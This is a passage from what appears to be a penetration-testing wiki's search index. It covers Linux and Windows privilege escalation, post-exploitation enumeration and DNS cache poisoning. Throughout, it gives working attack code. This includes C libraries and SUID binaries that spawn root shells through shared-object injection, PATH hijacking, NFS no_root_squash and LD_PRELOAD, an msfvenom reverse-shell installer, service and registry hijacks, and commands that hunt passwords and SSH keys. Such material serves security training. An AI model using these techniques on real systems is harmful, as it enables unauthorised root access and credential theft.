Traffic Amplification ยป Executing the attack","id":"152","title":"Executing the attack"},"153":{"body":"A flaw of all DNS name servers is that if they contain incorrect information, they may spread it to clients or other name servers. Each DNS name server (even individual clients) has a DNS cache. The system stores there information about any responses it gets for domains it requested. An attacker could inject false entries in this cache and as such, any computer which queries the poisoned name server will receive false results. This is known as DNS cache poisoning . The attack can be used to redirect users to a different website than the requested one. As such, it opens opportunities for phishing attacks by creating evil twins of login portals for well-known sites. A tool for performing such targeted attacks is deserter . Usage information is available on its GitHub page.","breadcrumbs":"Exploitation ยป DNS ยป DNS Cache Poisoning ยป Introduction","id":"153","title":"Introduction"},"154":{"body":"","breadcrumbs":"Post Exploitation ยป Post Exploitation","id":"154","title":"Post Exploitation"},"155":{"body":"","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Introduction","id":"155","title":"Introduction"},"156":{"body":"The first thing you need to do after gaining a foothold on a machine is to look for reused credentials. You should try every password you have gathered on all users, you never know when you might find an easy escalation to root. Next, you should hunt down sensitive files and look for stored credentials in configuration and source files of different applications. Naturally, you should also enumerate any local databases you find. Additionally, SSH keys are something to be on the lookout for. You should also go through the bash history and look for any passwords which were passed as command-line arguments. You should then move on to looking for exploits. Kernel exploits are really low-hanging fruit, so you should always check the kernel version. Subsequently, proceed by enumerating sudo and the different ways to exploit it, for example via Shell Escape Sequences or LD_PRELOAD . Following, you should proceed by tracking down any misconfigurations such as excessive capabilities or SUID Binaries . You should check if you have write access to any sensitive files such as /etc/passwd or /etc/shadow, as well as any cron jobs or cron job dependencies. Ultimately, you should move on to enumerating running software and services which are executed as root and try to find vulnerabilities in them which may allow for privilege escalation. This can all be summed up into the following: Credentials Reused Credentials Credentials in Configuration or Source Files Credentials from Databases Credentials in Sensitive Files Credentials from Bash History SSH Keys Exploitation Kernel Exploits Sudo Misconfigurations Excessive Capabilities SUID/SGID Binaries Write Access to Sensitive Files Writable Cron Jobs and Cron Job Dependencies Installed Software Vulnerabilities in Software and Services Running as Root","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Methodology","id":"156","title":"Methodology"},"157":{"body":"The Set Owner User ID (SUID) and Set Group ID (SGID) are special permissions which can be attributed to Linux files and folders. Any files which are owned by root and have SUID set will be executed with elevated privileges. Our goal is to hunt down those files and abuse them in order to escalate our privileges. This can be easily done with the following command: find / -perm -u=s -type f -user root 2>/dev/null","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Introduction","id":"157","title":"Introduction"},"158":{"body":"You should diligently inspect the list of files returned. Some standard Linux binaries may allow for privilege escalation if they have the SUID bit set for one reason or another. It is useful to go through these binaries and check them on GTFOBins . In the above example, we find that /bin/systemctl has the SUID bit set and that it also has an entry in GTFOBins : By following the instructions, although with slight modifications, we can run commands with elevated privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Exploiting Misconfigured Common Binaries","id":"158","title":"Exploiting Misconfigured Common Binaries"},"159":{"body":"Some binaries may be vulnerable to Shared Object (SO) Injection. This typically stems from misconfigurations where the binary looks for a specific library in a specific directory, but can't actually find it. If we have write access to this directory, we can hijack the search for the library by compiling our own malicious library in the place where the original one was supposed to be. This is quite similar to escalating via LD_PRELOAD , but it is a bit more difficult to find and exploit. You will first need to identify an SUID binary which has misconfigured shared libraries. A lot of the times the binary will refuse to run, saying that it is missing a particular library, however, this is not always the case: It is always good practice to run the programme with strace, which will print any attempts of the binary to access libraries: strace 2>&1 | grep -iE \"open|access\" What stands out in particular is the /home/user/.config/libcalc.so library, since /home/user/.config/ may be a writable directory. It turns out that the directory doesn't even exist, however, we can write to /home/user/ which means that we can create it. What now remains is to compile a malicious library into libcalc.so. #include \n#include static void inject() __attribute__((constructor)); void inject()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} For older versions of GCC, you may need to use the _init() function syntax: #include \n#include void _init()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} Compile the malicious library: gcc -shared -fPIC -o libcalc.so libcalc.c # add -nostartfiles if using _init()","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Shared Object Injection","id":"159","title":"Privilege Escalation via Shared Object Injection"},"16":{"body":"Reveals the presence of known vulnerabilities. It checks whether a system is exploitable through a set of weaknesses. Such a scanner consists of a catalog and a scanning engine. The catalog contains information about known vulnerabilities and exploits for them that work on a multitude of servers. The scanning engine is responsible for the logic behind the exploitation and analysis of the results.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Vulnerability Scanning","id":"16","title":"Vulnerability Scanning"},"160":{"body":"Path Hijacking refers to the deliberate manipulation of environmental variables, most commonly \\$PATH, such that the invocations of programmes in a binary actually refer to malicious binaries and not the intended ones. This vector requires more sophisticated digging into the internals of an SUID binary, specifically tracking down the different invocations the binary performs. This can commonly be achieved by running strings on the binary, but you will probably have to resort to more serious reverse engineering, as well. Specifically, you want to be on the lookout for shell commands which get executed by the SUID binary.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Path Hijacking","id":"160","title":"Privilege Escalation via Path Hijacking"},"161":{"body":"Relative paths are comparably easy to hijack - they require little other than editing the \\$PATH variable. Once you have identified a shell command within an SUID binary which invokes another programme via a relative path, you can just prepend to the \\$PATH a directory which will contain an executable with the same name as the one originally invoked. Let's compile our own malicious binary. #include \n#include int main()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\"); return 0;\n} gcc -o /tmp/service /tmp/service.c Afterwards, we need to prepend /tmp to the \\$PATH variable: export PATH=/tmp:\\$PATH And finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Relative Paths","id":"161","title":"Hijacking Relative Paths"},"162":{"body":"Absolute paths require a bit more work to be hijacked. Luckily, bash turns out to be very sophisticated and allows for the creation of functions which have the forward slash (/) character in their name. This means that we can create a malicious bash function with the same name as the absolute path we want to hijack and then our function will be invoked in lieu of the original programme. First, create the bash function: function () { cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p; } Next, export the function: export -f Finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Absolute Paths","id":"162","title":"Hijacking Absolute Paths"},"163":{"body":"The kernel is the layer which sits between applications and the hardware. It runs with root privileges, so if it gets exploited, privileges can be escalated. Finding kernel vulnerabilities and writing exploits for them is no trifling task, however, once such a vulnerability is made public and exploit code for it is developed, it easily becomes a low-hanging fruit for escalating privileges. A very useful list of kernel exploits found to date is located here . Finding already existing exploits is really easy - just search for the Linux kernel version!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Introduction","id":"163","title":"Introduction"},"164":{"body":"As an example, we are going to exploit dirtyc0w. This was a very ubiquitous exploit and can still be found on numerous outdated machines. The exploit itself has many versions but for demonstration purposes we are going to use the one at https://www.exploit-db.com/exploits/40839 . We need to first verify that our kernel version is in the vulnerable range. Inside the exploit we see compilation instructions, which is typical of kernel exploits as they are usually written in C: By compiling and running the exploit (it may actually take some time to execute), we have elevated our privileges!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Exploiting the Kernel","id":"164","title":"Exploiting the Kernel"},"165":{"body":"It is common to see a low-privileged user to be configured to be able to run some commands via sudo without a password. Luckily, many existing programmes for Linux have advanced capabilities which allow them to do many things such as spawning a shell when run with sudo. If such a programme is configured in the aforementioned way, then there is a shell escape sequence which is a (usually) simple command/argument passed to the programme when run, so that it spawns a shell with elevated privileges when run with sudo. Naturally, these shell escape sequences are programme-specific and it would be inane to try and remember the sequence for every binary. This is where GTFOBins comes in. This is a database of commands (including shell escape sequences) for common Linux binaries which can be used for escalating privileges. We saw in the above list provided by sudo -l that we are allowed to run find as root via sudo. Let's check if there is a shell escape sequence for it. There is! We can copy and paste it, then run it with sudo, and we should at last have a root shell: Another example can be given with the awk binary, which we also saw in the list provided by sudo -l.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Shell Escape Sequences ยป Introduction","id":"165","title":"Introduction"},"166":{"body":"The compromised machine may be configured to allow certain directories to be mounted by other machines. You can enumerate such directories by running the following command on the victim machine: cat /etc/exports You can additionally verify this from your attacker machine by running: showmount -e If there is a mountable directory which is configured as no_root_squash, as is the case here, then it can be used for privilege escalation. We begin by mounting the target directory from the victim to a directory on our machine: sudo mount -o rw, vers=3 :/tmp /tmp/root_squash Now, if no_root_sqaush is configured for the mountable directory, then the root user on the attacker machine will get mirrored on the victim machine. In essence, any command run as root on the attacker machine, will also be executed as root on the victim! This can allow us to create a malicious binary in the mounted directory and set its SUID bit from the attacker machine. This action will be mirrored by the victim and we will essentially have an SUID binary on the target which is all under our control. Let's write a simple malicious C executable: #include \n#include int main()\n{ setuid(0); // Set user ID to root setgid(0); // Set group ID to root system(\"/bin/bash -i\"); // Execute bash now with elevated privileges return 0;\n} It doesn't matter if you create it on the target or the attacker machine, but you must compile it on the target machine in order to avoid library version mismatches: gcc -o nfs_exploit nfs_exploit.c Next, you want to change the ownership of the compiled binary to root on the attacker machine . Afterwards, you want to set the SUID bit on the binary, once again, from the attacker machine : sudo chown root:root nfs_exploit\nsudo chmod +s nfs_exploit Finally, execute the malicious binary on the target :","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป NFS Root Squashing ยป Introduction","id":"166","title":"Introduction"},"167":{"body":"Linux capabilities provide a way for splitting permissions into small units. A binary with particular capabilities can perform certain tasks with elevated privileges. If capabilities are not properly set, or if they are excessive, this may lead to privilege escalation. Binaries with capabilities may be found using the following command: getcap / -r 2>/dev/null A list of all possible capabilities can be found here . In the above example, we can see that the python interpreter can arbitrarily set the user ID of the process. This means that we can change our user ID to 0 when running python, thus escalating our privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing Linux Capabilities ยป Introduction","id":"167","title":"Introduction"},"168":{"body":"The LD_PRELOAD environment variable can be used to tell the dynamic linker to load specific libraries before any others. By default, programmes run with sudo will be executed in a clean, minimal environment which is specified by env_reset when running sudo -l. However, env_keep may be used to inherit some environment variables from the parent process. If LD_PRELOAD is specified together with env_keep, then we can compile our own malicious dynamic library and set LD_PRELOAD to it. Therefore, when we execute a binary with sudo, our library will be loaded before any other library and its initialisation function will be invoked with root permissions.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Introduction","id":"168","title":"Introduction"},"169":{"body":"Writing the library is a fairly simple task. All we need to do is write an _init function in a C file. This procedure will contain the code we want to be executed when the library is loaded. #include \n#include \n#include void _init()\n{ unsetenv(\"LD_PRELOAD\"); // Unset LD_PRELOAD to avoid an infinite loop setgid(0); // Set root permissions setuid(0); // Set root permissions system(\"/bin/bash\");\n} We begin by unsetting the LD_PRELOAD variable from the environment. This is to preclude an infinite loop when /bin/bash is invoked. If our library didn't unset LD_PRELOAD, then when /bin/bash is called, our library will again be loaded first and then proceed onto launching /bin/bash yet again, which will again load our library and so on. The next two lines set the user and group IDs to those of root which ensures that the next commands are run with root privileges. Finally, system is called in order to spawn a bash shell. We now need to compile this file as a shared library: gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles At last, we can invoke any binary with sudo and specify the path to our library as LD_PRELOAD. Note that the path to the library must be specified as an absolute path.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Writing the Malicious Library","id":"169","title":"Writing the Malicious Library"},"17":{"body":"Nmap is a free and open source port and network scanner, which may also be used for vulnerability scanning through its scripting engine - the NSE.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Introduction","id":"17","title":"Introduction"},"170":{"body":"Once you have gained access to a system, it is paramount to look for other credentials which may be located on the system. These may be hidden in the Windows Registry, within log or configuration files, and more. Moreover, you should check to see if any credentials you have previously found work with anything else. You should also check if you have access to the Windows SYSTEM or SAM files or any of their backups, since those will contain the hashes for users on the system. If so, you might be able to perform a pass-the-hash attack or simply crack them. If the compromised system is a Windows Server, you should look for any stored credentials which can be used with RunAs. You should check the Windows build and version, see if there are any kernel exploits available. You should then move onto enumerating misconfigurations in services and other Windows-specific vectors. If none of these bear any fruit, you should look at the programmes installed on the system, enumerate them for misconfigurations, explore their versions and any exploits which may be available. If none are found, you might consider reverse engineering and binary exploitation as a last resort. Finally, if you have gained access as a local administrator, you should proceeding to looking for ways to bypass UAC . In essence: Credentials Reused Credentials Credentials in Configuration or Log files Credentials in the Windows Registry Credentials from Windows SAM and SYSTEM files Pass-the-hash attacks Stored Credentials (Windows Servers) Kernel Exploits Misconfigurations Services AutoRuns Startup Applications Scheduled Tasks AlwaysInstallElevated Group Policy Bypassing UAC","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Methodology","id":"170","title":"Methodology"},"171":{"body":"Windows Services allow for the creation of continuously running executable applications. These applications have the ability to be automatically started upon booting, they may be paused and restarted, and they lack a user interface. In order for a service to function properly, it needs to be associated with a system or user account. There are a few common built-in system accounts that are used to operate services such as LocalService, NetworkService, and LocalSystem. The following table describes the default secure access rights for accounts on a Windows system: Account Permissions Local Authenticated Users (including LocalService and Network Service) READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_USER_DEFINED_CONTROL Remote Authenticated Users Same as those for Local Authenitcated Users. LocalSystem READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_PAUSE_CONTINUE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL Administrators DELETE READ_CONTROL SERVICE_ALL_ACCESS WRITE_DAC WRITE_OWNER Moreover, a registry entry exists for each service in HKLM\\SYSTEM\\CurrentControlSet\\Services.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Introduction","id":"171","title":"Introduction"},"172":{"body":"In general, manual enumeration of Windows services is a rather cumbersome process, so I suggest that you use a tool for automation such as WinPEAS . winpeas.exe servicesinfo The permissions a user has on a specific service can be inspected via the AccessChk Windows Utility. acceschk.exe /accepteula -uwcqv ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Enumeration","id":"172","title":"Enumeration"},"173":{"body":"This is a vulnerability which can be used to force a misconfigured service to execute an arbitrary programme in lieu of its intended one, as long as the path to that executable contains spaces. On its own, this does not allow for privilege escalation, but it becomes a really powerful tool when the misconfigured service is set to run with system privileges. Let's take a look at the following path: C:\\Program Files\\Vulnerable Service\\service.exe If this path was specified to the service in quotation marks, \"C:\\Program Files\\Vulnerable Service\\service.exe\", then Windows will treat it correctly, executing the service.exe file in the C:\\Program Files\\Vulnerable Service directory. However, Windows is not the sharpest tool in the box and if the path is provided without quotation marks, then it will see ambiguity in what it is supposed to execute. The path will be split at each space character - the first segment will be treated as the executable's name and the rest will be seen as command-line arguments to be passed to it. So at first, Windows will try to execute the following: C:\\Program.exe Files\\Vulnerable Service\\service.exe Once Windows determines that the C:\\Program.exe file does not exist, it will look for the next space character, treat the characters up to it as the new path and try to execute it again: C:\\Program Files\\Vulnerable.exe Service\\service.exe Now, this is process is recursive until a file is successfully executed or the end of the path has been reached. If we are able to create a malicious executable in any of the possible paths that Windows will traverse, then we can hijack the service before the intended file is found. Once you have identified a vulnerable service, you can query to confirm that the path is indeed unquoted. Let's check our access to the possible directories that will be probed by Windows: accesschk.exe /accepteula -uwdq While we cannot write within the C:\\ or C:\\Program Files directories (meaning that we cannot create C:\\Program.exe or C:\\Program Files\\Unquoted.exe), we do have write access to C:\\Program Files\\Unquoted Path Service\\. What this entails is our ability to create a Common.exe binary inside this directory and, since the initial path was unquoted, the path C:\\Program Files\\Unquoted Path Service\\Common.exe will be probed before C:\\Program Files\\Unquoted Path Service\\Common Files\\unquotedpathservice.exe and once Windows finds our malicious executable there, it will be executed with the service's permissions. If we couldn't restart the service, then we could have simply waited for something else to execute it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Unquoted Service Paths ยป Unquoted Service Paths","id":"173","title":"Unquoted Service Paths"},"174":{"body":"As previously mentioned, each service is associated with a registry entry in the Windows Registry which is located at HKLM\\SYSTEM\\CurrentControlSet\\Services\\. This entry is essentially the configuration of the service and if it is writable, then it can be abused by an adversary to overwrite the path to the binary application of the service with a malicious one. Querying regsvc reveals that it is running with system privileges and its registry entry is writable by all logged-on users (NT AUTHORITY\\INTERACTIVE). All we need to do now is overwrite the ImagePath registry key in the service's entry to point to our malicious executable: reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\ /v ImagePath /t REG_EXPAND_SZ /d /f Restart the service and catch the shell: net start regsvc","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Weak Registry Permissions ยป Weak Registry Permissions","id":"174","title":"Weak Registry Permissions"},"175":{"body":"This is a technique which leverages misconfigurations in the service permissions for a specific user. If permissions for a specific user differ from the ones described in the table here , then they may manifest as a possible vulnerability. To identify such services, it is useful to use WinPEAS. It appears that user has write access to the service daclsvc and can also start the service. We can query the service to see what user account is actually executing it: sc qc It appears that the service is running as LocalSystem which is an account with more privileges than our user account. If we can write to the service, then we can alter its configuration and change the path to the executable which is supposed to be run: sc config binpath=\"\\\"\\\"\" All we now need to do is setup a listener and run the service: net start And we get a system shell back:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Permissions ยป Insecure Service Permissions","id":"175","title":"Insecure Service Permissions"},"176":{"body":"The binary application executed by a service is considered insecure when an adversary has write access to it when they shouldn't. This means that an attacker can simply replace the file with a malicious executable. If the service is configured to run with system privileges, then those privileges will be inherited by the attacker's executable! All we need to do is simply replace the legitimate executable with a malicious one and then start the service.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Executable Permissions ยป Introduction","id":"176","title":"Introduction"},"177":{"body":"AutoRun application are programmes which have been set up to automatically execute when a user logs in for the first time after booting the system. This is typically done so that the application can look for updates and update itself if necessary. For example, Steam, Spotify, and Discord, all set this up upon installation. On its own, this does not pose a security risk. Where the real vulnerabilities lies is within AutoRuns which are writable by anyone. AutoRuns can be enumerated by querying the registry: reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Now all we need to do is generate the malicious executable and replace the AutoRun programme with it. Note that in order for the exploit to work, an administrator would need to log in. Now, as soon as the administrator logs in, we will get an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AutoRun Programmes ยป Introduction","id":"177","title":"Introduction"},"178":{"body":"Windows has a group policy which, when enabled, allows a user to install a Microsoft Windows Installer Package (.msi file) with elevated privileges. This poses a security risk because an adversary can simply generate a malicious .msi file and execute it with admin privileges. In order to check for this vulnerability, one need only query the following registry keys: reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated The AlwaysInstallElevated policy appears enabled, so we can generate a malicious .msi executable. One way to do this is through Metasploit: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f msi -o reverse.msi Next, transfer the executable to the target machine and execute it with msiexec: msiexec /quiet /qn /i ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AlwaysInstallElevated Group Policy ยป Introduction","id":"178","title":"Introduction"},"179":{"body":"Kernel exploits are one of the most trivial privilege escalation paths available. One of the first things you should do when seeking for a privilege escalation vector is to look at the kernel version as well as any installed patches and determine if it is vulnerable to a known kernel exploit. Plenty of exploits can be found just by searching up the kernel version, but a cheat sheet which I like can be found here . Naturally, the exploitation of a kernel exploit is highly specific on a case-by-case basis. Once you have identified that the system is vulnerable to a known kernel exploit, you will need to find the exploit code.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Kernel Exploits ยป Introduction","id":"179","title":"Introduction"},"18":{"body":"The syntax for nmap is as follows: nmap target_range It is always good practice to run Nmap with root privileges as they are required for some of the tool's functionality. You can do a simple scan on a single IP through the following command: nmap By default, Nmap scans the top 1000 most commonly used ports (these are not necssarily the ports 0-999). You can specify specific ports for scanning with the -p flag followed by a comma-separated list of ports. Specifying -p- will cause nmap to scan all ports (0-65535).","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Syntax","id":"18","title":"Syntax"},"180":{"body":"Windows Scheduled Tasks allow for the periodic execution of scripts. These can be manually enumerated via the following command: schtasks /query /fo LIST /v A scheduled task is of interest when it is executed with elevated privileges but we have write access to the script it executes. This script is fairly simple, so we can just append a line to it which executes a malicious executable. When the time for the scheduled task comes, we will catch an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Scheduled Tasks ยป Introduction","id":"180","title":"Introduction"},"181":{"body":"User Account Control (UAC) is a security measure introduced in Windows Vista which aims to prevent unauthorised changes to the operating system. It ensures that any such changes require the assent of the administrator or a user who is part of the local administrators group. Administrative privileges in Windows are a bit different from those in Linux. Even if an adversary manages to execute some code from an administrator account, this code will not run with elevated privileges, unless it was \"run as Administrator\"-ed. When an unprivileged user attempts to run a programme as administrator, they will be prompted by UAC to enter the administrator's password. However, if the user is privileged (they are an administrator), they will still be prompted with the same UAC prompt, but it will ask them for consent in lieu of a password. Essentially, an administrative user will need to click \"Yes\" instead of typing their password. What is described so far is the default behaviour. UAC, however, has different protection levels which can be configured. Now there are 3 (two of the options are the same but with different aesthetics) options. The first option, and the most strict, is Always Notify. If UAC is set to this, then any programme which tries to run with elevated privileges will beget a UAC prompt - including Windows built-in ones. Next is the default setting - Notify me when application try to make changes to my computer. Under this configuration, regular applications will still cause a UAC prompt to show up whenever run as administrator, however, Windows built-in programmes can be run with elevated privileges without such a prompt. Following is another option which is the exact same as this one, but the UAC prompt will not dim the screen. This is useful for computers for which dimming the screen is not exactly a trifling task. Finally, the Never Notify means that a UAC prompt will never be spawned no matter who is trying to run the application with elevated privileges. UAC can be bypassed if an adversary already has access to a user account which is part of the local administrators group and UAC is configured to the default setting.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Introduction","id":"181","title":"Introduction"},"182":{"body":"There are many tools for bypassing UAC and which one is to be used depends on the Windows build and version. One such tool which has lots of methods for bypassing UAC is UACMe . You will need to build it from source using Visual Studio, meaning that you will need a Windows machine in order to compile it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Bypassing UAC","id":"182","title":"Bypassing UAC"},"183":{"body":"Windows Startup applications are very similar to AutoRun Programmes , however, they are executed every time a user logs in. If we can write to the Startups directory, then we can place a malicious executable there which will be executed upon the next login. If the next user to log in is an administrator, then we will gain elevated privileges. To check for write access to the Startups directory, we can use accesschk: C:\\PrivEsc\\accesschk.exe /accepteula -d \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\" All we need to do is place a malicious executable in the directory and wait for an admin to log in.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Startup Applications ยป Introduction","id":"183","title":"Introduction"},"184":{"body":"Windows Servers have capabilities to store credentials using a built-in utility called cmdkey . On its own, cmdkey is rather useless to an adversary - you can only really use it to list what credentials are stored but not actually reveal them. cmdkey /list The real deal is another built-in utility called Runas . It allows one user to execute a binary with the permissions of another and, what is essential here, this can be achieved with only stored credentials. One doesn't even need to know what the credentials are - so long as a user has their credentials stored, then they can be used to execute programmes as that user. runas /savedcred /user: ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Stored Credentials ยป Introduction","id":"184","title":"Introduction"},"185":{"body":"Windows Access Tokens are objects which describe the security context in which a thread or process is run. The information within an access token identifies the user and their privileges of said process or thread. Upon each successful user log-on, an access token for the user is generated and every process executed by this user will contain a copy of this token called the primary token . This token is used by the system to inspect the privileges of the process when the process tries to interact with something which may require certain privileges. However, threads of the process are allowed to use a second token, called an impersonation token , to interact with objects as if they had a different security context and different privileges. This is only allowed when the process has the SeImpersonatePrivilege. As with UAC bypassing , exploiting token impersonation is highly dependent on the Windows build and version. However, the most infamous exploits are the Potato exploits .","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Token Impersonation ยป Introduction","id":"185","title":"Introduction"},"186":{"body":"","breadcrumbs":"Post Exploitation ยป Enumeration","id":"186","title":"Post Exploitation"},"187":{"body":"There are plenty of tools which can be used for automating post-exploitation enumeration on Linux machines.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Introduction","id":"187","title":"Introduction"},"188":{"body":"LinPEAS is an amazing tool for automation enumeration. It is written in Bash which means that it requires no additional dependencies and can be freely run. In order to acquire the latest version of LinPEAS, run the following command: wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh By default, running LinPEAS will perform many checks on the system and spit out a deluge of information. However, the tool can also be used to only perform specific tasks using the -o argument. Enumerate system information: ./linpeas.sh -o system_information Enumerate containers on the machine: ./linpeas.sh -o container Enumerate cloud platforms: ./linpeas.sh -o cloud Enumerate available software: ./linpeas.sh -o software_information Enumerate processes, cronjobs, services, and sockets: ./linpeas.sh -o procs_crons_timers_srvcs_sockets Enumerate network information: ./linpeas.sh -o network_information Enumerate user information: ./linpeas.sh -o users_information Enumerate interesting files: ./linpeas.sh -o interesting_files","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Linux Enumeration with LinPEAS","id":"188","title":"Linux Enumeration with LinPEAS"},"189":{"body":"Find all files in a directory which contain \"pass\" or \"password\", ignoring case: grep --color=auto -rnw '' -ie \"password\\|pass\" --color=always 2>/dev/null Find all files in a directory which contain \"pass\" or \"password\" in their name, ignoring case: find / -name \"*pass*\" 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding Files Containing Passwords","id":"189","title":"Finding Files Containing Passwords"},"19":{"body":"open - an application is actively listening for TCP connections, UDP datagrams or SCTP associations on this port closed - the port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it filtered - Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. Usually, the filter sends no response, so Nmap needs to resend the probe a few times in order to be sure that it wasn't dropped due to traffic congestion. This slows the scan drastically unfiltered - the port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, used for mapping firewall rulesets, may put ports in this state open|filtered - Nmap is unable to determine whether the port is open or filtered. This occurs for scan types in which open ports give no response closed|filtered - Nmap is unable to determine whether the port is closed or filtered. It is only used for the IP ID idle scan.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Port States","id":"19","title":"Port States"},"190":{"body":"find / -name id_rsa 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding SSH Keys","id":"190","title":"Finding SSH Keys"},"191":{"body":"System enumeration is a crucial, typically first, step in the enumeration phase of post-exploitation.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Introduction","id":"191","title":"Introduction"},"192":{"body":"cat /etc/issue","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating the Distribution Version","id":"192","title":"Enumerating the Distribution Version"},"193":{"body":"uname -a cat /proc/version","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Linux Kernel Version Information","id":"193","title":"Enumerating Linux Kernel Version Information"},"194":{"body":"lscpu","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating CPU Architecture","id":"194","title":"Enumerating CPU Architecture"},"195":{"body":"ps aux","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Running Services","id":"195","title":"Enumerating Running Services"},"196":{"body":"List files owned by a certain user in a directory: find -user 2>/dev/null List files owned by a certain user in a directory (without /proc): find -user 2>/dev/null | grep -v \"/proc\" List files owned by a certain group in a directory: find -group 2>/dev/null find -group 2>/dev/null | grep -v \"/proc\" # ignore /proc","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป File System Enumeration","id":"196","title":"File System Enumeration"},"197":{"body":"whoami id","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate User Name and Group","id":"197","title":"Enumerate User Name and Group"},"198":{"body":"sudo -l","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate Commands Runnable as Root","id":"198","title":"Enumerate Commands Runnable as Root"},"199":{"body":"cat /etc/passwd","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป List Users on the Machine","id":"199","title":"List Users on the Machine"},"2":{"body":"You should only make changes inside the eight category folders under the Notes/ directory. Minor edits to already existing content outside of the aforementioned allowed directories are permitted as long as they do not bring any semantic change - for example fixing typos.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป In-Scope","id":"2","title":"In-Scope"},"20":{"body":"The default scan type with root privileges (-sS option) It does not complete a full TCP handshake, therefore it's a bit faster and used to be more silent (it is called a silent scan, although that is no longer the case) Also known as a half-open scan You can use the -sS option or omit it entirely to perform a TCP SYN scan. This type of scan works as follows: Nmap sends a SYN 